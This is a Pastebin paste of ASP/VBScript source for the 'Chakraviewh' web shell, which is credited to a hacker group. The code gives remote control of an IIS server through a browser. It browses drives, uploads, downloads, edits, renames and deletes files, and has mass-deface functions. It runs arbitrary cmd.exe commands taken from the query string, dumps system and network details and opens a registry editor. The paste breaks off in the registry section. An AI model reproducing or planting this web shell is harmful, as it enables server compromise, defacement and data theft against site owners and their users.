Advertisement
ZeusOdin

i dont know what this is but i think it is a shell

May 26th, 2015
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 45.40 KB | None | 0 0
  1. <%@ LANGUAGE = VBScript.Encode %>
  2. <%
  3. On Error Resume Next
  4. Server.ScriptTimeOut  = 7200
  5. Class FileUploader
  6.     Public  Files
  7.     Private mcolFormElem
  8.     Private Sub Class_Initialize()
  9.         Set Files = Server.CreateObject("Scripting.Dictionary")
  10.         Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
  11.     End Sub
  12.     Private Sub Class_Terminate()
  13.         If IsObject(Files) Then
  14.             Files.RemoveAll()
  15.             Set Files = Nothing
  16.         End If
  17.         If IsObject(mcolFormElem) Then
  18.             mcolFormElem.RemoveAll()
  19.             Set mcolFormElem = Nothing
  20.         End If
  21.     End Sub
  22.     Public Property Get Form(sIndex)
  23.         Form = ""
  24.         If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
  25.     End Property
  26.     Public Default Sub Upload()
  27.         Dim biData, sInputName
  28.         Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
  29.         Dim nPosFile, nPosBound
  30.         biData = Request.BinaryRead(Request.TotalBytes)
  31.         nPosBegin = 1
  32.         nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  33.         If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
  34.         vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  35.         nDataBoundPos = InstrB(1, biData, vDataBounds)
  36.         Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
  37.             nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
  38.             nPos = InstrB(nPos, biData, CByteString("name="))
  39.             nPosBegin = nPos + 6
  40.             nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
  41.             sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  42.             nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
  43.             nPosBound = InstrB(nPosEnd, biData, vDataBounds)
  44.             If nPosFile <> 0 And  nPosFile < nPosBound Then
  45.                 Dim oUploadFile, sFileName
  46.                 Set oUploadFile = New UploadedFile
  47.                 nPosBegin = nPosFile + 10
  48.                 nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
  49.                 sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  50.                 oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
  51.                 nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
  52.                 nPosBegin = nPos + 14
  53.                 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  54.                 oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  55.                 nPosBegin = nPosEnd+4
  56.                 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  57.                 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  58.                 If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
  59.             Else
  60.                 nPos = InstrB(nPos, biData, CByteString(Chr(13)))
  61.                 nPosBegin = nPos + 4
  62.                 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  63.                 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  64.             End If
  65.             nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
  66.         Loop
  67.     End Sub
  68.     Private Function CByteString(sString)
  69.         Dim nIndex
  70.         For nIndex = 1 to Len(sString)
  71.            CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
  72.         Next
  73.     End Function
  74.     Private Function CWideString(bsString)
  75.         Dim nIndex
  76.         CWideString =""
  77.         For nIndex = 1 to LenB(bsString)
  78.            CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
  79.         Next
  80.     End Function
  81. End Class
  82. Class UploadedFile
  83.     Public ContentType
  84.     Public FileName
  85.     Public FileData
  86.     Public Property Get FileSize()
  87.         FileSize = LenB(FileData)
  88.     End Property
  89.     Public Sub SaveToDisk(sPath)
  90.         Dim oFS, oFile
  91.         Dim nIndex
  92.         If sPath = "" Or FileName = "" Then Exit Sub
  93.         If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
  94.         Set oFS = Server.CreateObject("Scripting.FileSystemObject")
  95.         If Not oFS.FolderExists(sPath) Then Exit Sub
  96.         Set oFile = oFS.CreateTextFile(sPath & FileName, True)
  97.         For nIndex = 1 to LenB(FileData)
  98.             oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
  99.         Next
  100.         oFile.Close
  101.     End Sub
  102.     Public Sub SaveToDatabase(ByRef oField)
  103.         If LenB(FileData) = 0 Then Exit Sub
  104.         If IsObject(oField) Then
  105.             oField.AppendChunk FileData
  106.         End If
  107.     End Sub
  108. End Class
  109. key = "5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA01902E59F7273E1902E597A18C51902E59AC1E8F1902E59DE24591902E55F5B0911902E53CF70E31902E597A18C51902E5B2349FA1902E5A422FED1902E597A18C51902E5A8D389C1902E53CF70E31902E53205CA01902E5B3C4CDF1902E5A422FED1902E5BEB61221902E59DE24591902E55F5B0911902E53CF70E31902E54C98DD51902E53CF70E31902E560EB3761902E547E85261902E55AAA7E21902E55AAA7E21902E53205CA01902E5802ED5A1902E5708D0681902E5834F3241902E57B7E4AB1902E57B7E4AB1902E576CDBFC1902E581BF03F1902E53205CA01902E54C98DD51902E547E85261902E552D99691902E53205CA01902E5672BF0A1902E56BDC7B91902E5834F3241902E5659BC251902E53E873C81902E57D0E7901902E5866F8EE1902E5834F3241902E540176AD1902E53B66DFE1902E59AC1E8F1902E5AD8414B1902E5AF144301902E5BD25E3D1902E55C3AAC71902E53205CA01902E5672BF0A1902E58B2019D1902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5AA63B811902E597A18C51902E5A422FED1902E5A8D389C1902E5B554FC41902E5AD8414B1902E55AAA7E21902E5B2349FA1902E5A292D081902E59F7273E1902E597A18C51902E59AC1E8F1902E5B554FC41902E5AD8414B1902E5B2349FA1902E5640B9401902E597A18C51902E5ABF3E661902E5B554FC41902E5A422FED1902E5B3C4CDF1902E5AD8414B1902E59AC1E8F1902E5A422FED1902E597A18C51902E5A8D389C1902E547E85261902E59AC1E8F1902E5AD8414B1902E5AA63B811902E53CF70E31902E560EB3761902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E53205CA01902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E546582411902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E53CF70E31902E53205CA01902E5B554FC41902E597A18C51902E5B2349FA1902E5A102A231902E59DE24591902E5B554FC41902E55F5B0911902E53CF70E31902E594812FB1902E59931BAA1902E5A8D389C1902E597A18C51902E5ABF3E661902E5A7435B71902E53CF70E31902E560EB3761902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E55AAA7E21902E55AAA7E21902E547E85261902E55DCADAC1902E5497880B1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E560EB3761902E5|337308|1A7023"
  110. startcode = "<html><head><title>--: chakraviewh = Nobody Will beat it :-) :--</title></head><body bgcolor='#000000' vlink='red' alink='green'><center>"
  111. endocde = "</center></body></html>"
  112. onlinehelp = "<center><font face=""arial"" size=""2"">--: <a href=""http://www.andhrahackers.com"" target=""_blank"">ONLINE HELP or Report Error</a>:--</font></center><br>"
  113.  
  114.  
  115. Function HexConv(hexVar)
  116.     Dim hxx, hxx_var, multiply          
  117.          IF hexVar <> "" THEN
  118.               hexVar = UCASE(hexVar)
  119.               hexVar = StrReverse(hexVar)
  120.               DIM hx()
  121.               REDIM hx(LEN(hexVar))
  122.               hxx = 0
  123.               hxx_var = 0
  124.               FOR hxx = 1 TO LEN(hexVar)
  125.                    IF multiply = "" THEN multiply = 1
  126.                    hx(hxx) = mid(hexVar,hxx,1)
  127.                    hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
  128.                    multiply = (multiply * 16)
  129.               NEXT
  130.               hexVar = hxx_var
  131.               HexConv = hexVar
  132.          END IF
  133. End Function
  134. cprthtml = "<center><font face='arial' size='6' color='orange'>--: I.<font face='arial' size='6' color='White'>C.<font face='arial' size='6' color='Green'>W :--</font><br> <font face='arial' size='2' color='white'>--: Chakraviewh created By :--</font><br><font face='arial' size='1' color='white'>--: 41.w4r10r :-- </font><br><font face='arial' color='red' size='1'>Special Greets :- Unn4m3d, R45C4L, Sm4rt H4ck3r, XxMostWantedxX, Ashish, ICW & AH Crew</font> <br><font size='3'>--:<a href='HTTP://WWW.andhrahackers.com' target='_blank'>HTTP://WWW.ANDHRAHACKERS.COM</a> :--</font></center>"
  135. Function get_hxno(ghx)
  136.          If ghx = "A" Then
  137.               ghx = 10
  138.          ElseIf ghx = "B" Then
  139.               ghx = 11
  140.          ElseIf ghx = "C" Then
  141.               ghx = 12
  142.          ElseIf ghx = "D" Then
  143.               ghx = 13
  144.          ElseIf ghx = "E" Then
  145.               ghx = 14
  146.          ElseIf ghx = "F" Then
  147.               ghx = 15
  148.          End If
  149.          get_hxno = ghx
  150. End Function
  151. keydec = cprthtml
  152. Function showobj(objpath)
  153.     showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
  154. End Function
  155. Function showobjpath(objpath)
  156.     showobjpath = Left(objpath,InstrRev(objpath,"\"))
  157. End Function
  158. Function checking(a,b)
  159.     If CStr <> CStr Then
  160.         pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
  161.         Response.Redirect(pagina)
  162.     End If
  163. End Function
  164. Sub hdr()
  165.     Response.Write startcode
  166.     Response.Write keydec
  167.     Response.Write "<br>"
  168. End Sub
  169. Sub showcontent()
  170.     Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br></font>"
  171.     If Trim(Request.QueryString("raiz")) = "root" Then
  172.         Set fs=Server.Createobject("Scripting.FileSystemObject")
  173.         Set drivecollection=fs.drives
  174.         Response.Write "<font face=""arial"" size=""2"">"
  175.         For Each drive IN drivecollection
  176.             str=drive.driveletter & ":"
  177.             Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>"
  178.             Select Case drive.DriveType
  179.                 Case 0
  180.                     tipodrive = "Unknown"
  181.                     nomedrive = drive.VolumeName
  182.                 Case 1
  183.                     tipodrive = "Removable"
  184.                     If drive.isready Then
  185.                         nomedrive = drive.VolumeName
  186.                     Else
  187.                         nomedrive = ""
  188.                     End If
  189.                 Case 2
  190.                     tipodrive = "Fixed"
  191.                     If drive.isready Then
  192.                         nomedrive = drive.VolumeName
  193.                     Else
  194.                         nomedrive = ""
  195.                     End If
  196.                 Case 3
  197.                     tipodrive = "Network"
  198.                     If drive.isready Then
  199.                         nomedrive = drive.ShareName
  200.                     Else
  201.                         nomedrive = ""
  202.                     End If
  203.                 Case 4
  204.                     tipodrive = "CD-Rom"
  205.                     If drive.isready Then
  206.                         nomedrive = drive.VolumeName
  207.                     Else
  208.                         nomedrive = ""
  209.                     End If
  210.                 Case 5
  211.                     tipodrive = "RAM Disk"
  212.                     If drive.isready Then
  213.                         nomedrive = drive.VolumeName
  214.                     Else
  215.                         nomedrive = ""
  216.                     End If
  217.             End Select
  218.             response.write "<b>Type:</b> " & tipodrive & "<br>"
  219.             response.write "<b>Name: </b>" & nomedrive & "<br>"
  220.             response.write "<b>File System: </b>"
  221.             If drive.isready Then
  222.                 set sp=fs.getdrive(str)
  223.                 response.write sp.filesystem & "<br>"
  224.             Else
  225.             response.write "-<br>"
  226.             End If
  227.             Response.Write "<b>Free Space: </b>"
  228.             If drive.isready Then
  229.                 freespace = (drive.AvailableSpace / 1048576)
  230.                 set sp=fs.getdrive(str)
  231.                 response.write(Round(freespace,1) & " MB<br>")
  232.             Else
  233.                 response.write("-<br>")
  234.             End If
  235.             Response.Write "<b>Total Sapce: </b>"
  236.             If drive.isready Then
  237.                 totalspace = (drive.TotalSize / 1048576)
  238.                 set sp=fs.getdrive(str)
  239.                 response.write(Round(totalspace,1) & " MB<br>")
  240.             Else
  241.                 response.write("-<br>")
  242.             End If
  243.             Response.Write "<br>"
  244.         Next
  245.         Response.Write "</font>"
  246.         Set fs = Nothing
  247.         Set drivecollection = Nothing
  248.         set sp=Nothing
  249.     Else
  250.         If Trim(Request.QueryString("raiz")) = "" Then
  251.             caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
  252.             pos = Instr(caminho,"\")
  253.             pos2 = 1
  254.             While pos2 <> 0
  255.                 If Instr(pos + 1,caminho,"\") <> 0 Then
  256.                     pos = Instr(pos + 1,caminho,"\")
  257.                 Else
  258.                     pos2 = 0
  259.                 End If
  260.             Wend
  261.             raiz = Left(caminho,pos)
  262.         Else
  263.             raiz =  trim(Request.QueryString("raiz")) & "\"
  264.         End If
  265.         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  266.         Set MonRep = ObjFSO.GetFolder(raiz)
  267.         Set ColFolders = MonRep.SubFolders
  268.         Set ColFiles0 = MonRep.Files
  269.         Response.Write "<font face='arial' size='1' color='white'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=test&path=" & Replace(raiz,"\","|") & "', 'win1','width=600,height=300,scrollbars=YES,resizable')"">MASS TEST IN " & UCase(raiz) & "</a></font><br><br>"
  270.         Response.Write "<font face='arial' size='1' color='white'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc&path=" & Replace(raiz,"\","|") & "', 'win1','width=700,height=300,scrollbars=YES,resizable')"">MASS DEFACE IN " & UCase(raiz) & "</a></font><br><br>"
  271.         Response.Write "<font face='arial' size='1' color='white'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">UPLOAD FILE TO " & UCase(raiz) & "</a></font><br><br>"
  272.         Response.Write "<font face='arial' size='1' color='white'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=760,height=540,scrollbars=YES,resizable')"">COMMAND PROMPT</a> - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')"">SYS INFO</a> - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=550,height=250,scrollbars=YES,resizable')"">REGEDIT</a></font><br><br>"
  273.         Response.Write "<font face='arial' color='orange'><b>Root Folder: " & raiz & "</b></font><br><br>"
  274.         If CInt(Len(raiz) - 1) <> 2 Then
  275.             barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1
  276.             backlevel = Left(raiz,barrapos)
  277.             Response.Write "<font face='arial' size='3' color='orange'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . . </font></b></a><br>"
  278.         Else
  279.             Response.Write "<font face='arial' size='3' color='white'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . .&nbsp;</font></b></a><br>"
  280.         End If
  281.         Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" color='green'>"
  282.         for each folderItem in ColFolders
  283.             Response.Write "<tr><td><font face='arial' size='3' color='orange'><b>&lt;DIR&gt; <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & folderItem.path & "'>" & showobj(folderItem.path) & "</a></b></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1' color='white'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=250,scrollbars=YES,resizable')"">&lt;&lt; PUT</a></font></td></tr>"
  284.         next
  285.         Response.Write "</table><br><table border=""0"" cellspacing=""0"" cellpadding=""0"" color='green' >"
  286.         marcatabela = true
  287.         for each FilesItem0 in ColFiles0
  288.             If marcatabela = true then
  289.                 corfundotabela = " bgcolor=""#111111"""
  290.             Else
  291.                 corfundotabela = " bgcolor=""#111111"""
  292.             End If
  293.             Response.Write "<tr><td" & corfundotabela & "><font face='arial' size='2' color='orange'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & "><font face='arial' size='2' color='green'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;<font face='arial' size='2' color='orange'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.GET.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='2' color='white'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.REN.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='2' color='white'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.DEL.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='2' color='white'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=640,height=480,scrollbars=YES,resizable')"">o.VIEW.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='2' color='white'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=760,height=520,scrollbars=YES,resizable')"">o.EDIT.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='2' color='white'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(FilesItem0.path,"\","|") & """>o.DOWNLOAD.o</a></font></td></tr>"
  294.             marcatabela = NOT marcatabela
  295.         next
  296.         Response.Write "</table>"
  297.     End If
  298. End Sub
  299. Select Case Trim(Request.QueryString("action"))
  300.     Case "get"
  301.         checa = checking(cprthtml,keydec)
  302.         Call hdr()
  303.         Response.Write copyright & onlinehelp
  304.         caminho = Replace(Trim(Request.QueryString("path")),"|","\")
  305.         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  306.         Set MyFile = ObjFSO.GetFile(caminho)
  307.         destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
  308.         MyFile.Copy (destino)
  309.         If Err.Number = 0 Then
  310.             Response.Write "<font face='arial' size='2' color='white'><center><br><br>Arquivo: <b>" & caminho & "</b><br>copiado para: " & destino
  311.         End If 
  312.     Case "put"
  313.         checa = checking(cprthtml,keydec)
  314.         Call hdr()
  315.         Response.Write copyright & onlinehelp
  316.         If Trim(Request.QueryString("arquivo")) = "" Then
  317.             caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
  318.             varpath = Trim(Request.QueryString("path"))
  319.             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  320.             Set MonRep = ObjFSO.GetFolder(caminho)
  321.             Set ColFolders = MonRep.SubFolders
  322.             Set ColFiles0 = MonRep.Files
  323.  
  324.             Response.Write "<font face='arial' size='2' color='white'><b>Select the file : <br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
  325.             for each FilesItem0 in ColFiles0
  326.                 Response.Write "<tr><td><font face='arial' size='2' color='white'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'><font face='arial' size='2' color='white'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='white'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"\","|") & """>:: Select ::</a></font></td></tr>"
  327.             next
  328.             Response.Write "</table>"
  329.         Else
  330.             destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\"
  331.             arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\")
  332.             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  333.             Set MyFile = ObjFSO.GetFile(arquivo)
  334.             MyFile.Copy (destino)
  335.             If Err.Number = 0 Then
  336.                 Response.Write "<font face='arial' size='2' color='white'><center><br><br>Arquivo: <b>" & arquivo & "</b><br>copiado para: <b>" & destino
  337.             End If
  338.         End If
  339.     Case "del"
  340.         checa = checking(cprthtml,keydec)
  341.         Call hdr()
  342.         Response.Write copyright & onlinehelp
  343.         caminho = Replace(Trim(Request.QueryString("path")),"|","\")
  344.         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  345.         Set MyFile = ObjFSO.GetFile(caminho)
  346.         MyFile.Delete
  347.         If Err.Number = 0 Then
  348.             Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
  349.             Response.Write "<font face='arial' size='2' color='white'><center><br><br>Arquivo <b>" & caminho & "</b> apagado<br>"
  350.         End If
  351.     Case "ren"
  352.         checa = checking(cprthtml,keydec)
  353.         Call hdr()
  354.         Response.Write copyright & onlinehelp
  355.         If Trim(Request.QueryString("status")) <> "2" Then
  356.             caminho = Replace(Trim(Request.QueryString("path")),"|","\")
  357.             arquivo = showobj(caminho)
  358.             Response.Write "<br><font face=""arial"" size=""2""><b>" & arquivo & "</b><br>" & _
  359.                                "<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _
  360.                                "<input type=""hidden"" name=""action"" value=""ren"">" & _
  361.                                "<input type=""hidden"" name=""status"" value=""2"">" & _
  362.                                "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _
  363.                                "Enter the new name: <input type=""text"" name=""newname"">" & _
  364.                                "&nbsp;&nbsp;<input type=""submit"" value=""Change it"">" & _
  365.                                "</form>"
  366.         Else
  367.             caminho = Replace(Trim(Request.QueryString("path")),"|","\")
  368.             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  369.             Set MyFile = ObjFSO.GetFile(caminho)
  370.             destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname"))
  371.             MyFile.Move (destino)
  372.             If Err.Number = 0 Then
  373.                 Response.Write "<font face='arial' size='2' color='white'><center><br><br>Arquivo: <b>" & caminho & "</b><br>renomeado para<b>: " & destino
  374.                 Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
  375.             End If 
  376.         End If
  377.     Case "error"
  378.         Response.Write "<center><font face='arial' size='2' color='red'> <b>CÓDIGO CORROMPIDO<BR>CORRUPT CODE</font></center>"
  379.     Case "cmd"
  380.         checa = checking(cprthtml,keydec)
  381.         Call hdr()
  382.         Response.Write copyright & onlinehelp
  383.         Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  384.         Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  385.         Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  386.         szCMD = Request.QueryString(".CMD")
  387.         If (szCMD <> "") Then
  388.             szTempFile = "c:\" & oFileSys.GetTempName( )
  389.             Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  390.             Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
  391.         End If
  392.         Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit value=""Run Command""></FORM><br><br> "
  393.         If (IsObject(oFile)) Then
  394.             On Error Resume Next
  395.             Response.Write "<font face=""arial"">"
  396.             Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
  397.             oFile.Close
  398.             Call oFileSys.DeleteFile(szTempFile, True)
  399.         End If
  400.     Case "info"
  401.         checa = checking(cprthtml,keydec)
  402.         Call hdr()
  403.         Response.Write copyright & onlinehelp
  404.         Set WshNetwork = Server.CreateObject("WScript.Network")
  405.         Set WshShell = Server.CreateObject("WScript.Shell")
  406.         Set WshEnv = WshShell.Environment("SYSTEM")
  407.         Response.Write "<br><font face=arial size=2>"
  408.         Response.Write "<b>NETWORK IDENTIFICATION:</b><br>"
  409.         Response.Write "<b>Name Of User: </b>" & WshNetwork.UserName & "<br>"
  410.         Response.Write "<b>Computer Name: </b>" & WshNetwork.ComputerName & "<br>"
  411.         Response.Write "<b>User's Domain : </b>" & WshNetwork.UserDomain & "<br>"
  412.         Set Drives = WshNetwork.EnumNetworkDrives
  413.         For i = 0 to Drives.Count - 1
  414.             Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & "<br>"
  415.         Next
  416.         Response.Write "<br><b>System Hardware:</b><br>"
  417.         Response.Write "<b>Architecture of the Processor: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
  418.         Response.Write "<b>Number of Processors: </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
  419.         Response.Write "<b>Identifier of the processor: </b>" & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
  420.         Response.Write "<b>Level of processor : </b>" & WshEnv("PROCESSOR_LEVEL") & "<br>"
  421.         Response.Write "<b>Review of Processor : </b>" & WshEnv("PROCESSOR_REVISION") & "<br>"
  422.         Response.Write "<br><b>Software and OS:</b><br>"
  423.         Response.Write "<b>IP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"
  424.         Response.Write "<b>Operating System: </b>" & WshEnv("OS") & "<br>"
  425.         Response.Write "<b>Web server: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"
  426.         Response.Write "<b>Command Specification : </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
  427.         Response.Write "<b>Paths in the Path: </b>" & WshEnv("PATH") & "<br>"
  428.         Response.Write "<b>Executable: </b>" & WshEnv("PATHEXT") & "<br>"
  429.         Response.Write "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>"
  430.         Response.Write "<b>Operating System Drive: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
  431.         Response.Write "<b>System Root: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
  432.         Response.Write "<b>Path of System32: </b>" & WshShell.CurrentDirectory & "<br>"
  433.         Set Drives = Nothing
  434.         Set WshNetwork = Nothing
  435.         Set WshShell = Nothing
  436.         Set WshEnv = Nothing
  437.     Case "reg"
  438.         checa = checking(cprthtml,keydec)
  439.         Call hdr()
  440.         Response.Write copyright & onlinehelp
  441.         Set WshShell = Server.CreateObject("WScript.Shell")
